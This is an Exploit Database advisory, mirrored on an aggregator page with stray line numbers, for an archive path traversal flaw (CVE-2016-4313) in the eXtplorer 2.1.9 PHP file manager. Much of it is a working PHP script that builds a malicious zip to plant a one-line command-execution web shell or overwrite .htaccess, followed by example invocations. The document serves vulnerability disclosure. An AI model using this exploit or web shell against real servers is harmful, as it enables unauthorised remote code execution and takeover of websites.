eXtplorer 2.1.9 – ‘.ZIP’ Directory Traversal

Exploit Database
117 阅读

作者： hyp3rlinx

日期： 2016-05-16
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/39816/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt

[+] ISR: apparitionsec

Vendor:

==============

extplorer.net

Product:

==================

eXtplorer v2.1.9

eXtplorer is a PHP and Javascript-based File Manager, it allows to browse

directories, edit, copy, move, delete,

search, upload and download files, create & extract archives, create new

files and directories, change file

permissions (chmod) and more. It is often used as FTP extension for popular

applications like Joomla.

Vulnerability Type:

======================

Archive Path Traversal

CVE Reference:

==============

CVE-2016-4313

Vulnerability Details:

=====================

eXtplorer unzip/extract feature allows for path traversal as decompressed

files can be placed outside of the intended target directory,

if the archive content contains "../" characters. This can result in files

like ".htaccess" being overwritten or RCE / back door

exploits.

Tested on Windows

Reproduction steps:

==================

1) Generate an archive using below PHP script

2) Upload it to eXtplorer and then extract it

3) Check directory for the default 'RCE.php' file or use CL switch to

overwrite files like .htaccess

Exploit code(s):

===============

Run below PHP script from CL...

[evil-archive.php]

<?php

if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default?

Y/[file]>";exit();}

$zipname=$argv[1];

$exploit_file="RCE.php";

$cmd='<?php exec($_GET["cmd"]); ?>';

if(!empty($argv[2])&&is_numeric($argv[2])){

$depth=$argv[2];

}else{

echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";

exit();

}

if(strtolower($argv[3])!="y"){

if(!empty($argv[3])){

$exploit_file=$argv[3];

}

if(!empty($argv[4])){

$cmd=$argv[4];

}else{

echo "Usage: enter a payload for file $exploit_file wrapped in double

quotes";

exit();

}

$zip = new ZipArchive();

$res = $zip->open("$zipname.zip", ZipArchive::CREATE);

$zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd);

$zip->close();

echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";

echo "================ by hyp3rlinx ===================";

///////////////////////////////////////////////////////////////////////

[Script examples]

Use default RCE.php by passing "y" flag creating DOOM.zip with path depth

of 2 levels

c:\>php evil-archive.phpDOOM 2Y

Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite

one on the system.

c:\>php evil-archive.phpDOOM 4.htaccess"allow from all"

Disclosure Timeline:

===================================

Vendor Notification: No reply

May 14, 2016 : Public Disclosure

Exploitation Method:

======================

Local

Severity Level:

================

Medium 6.3

CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the

information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information.

hyp3rlinx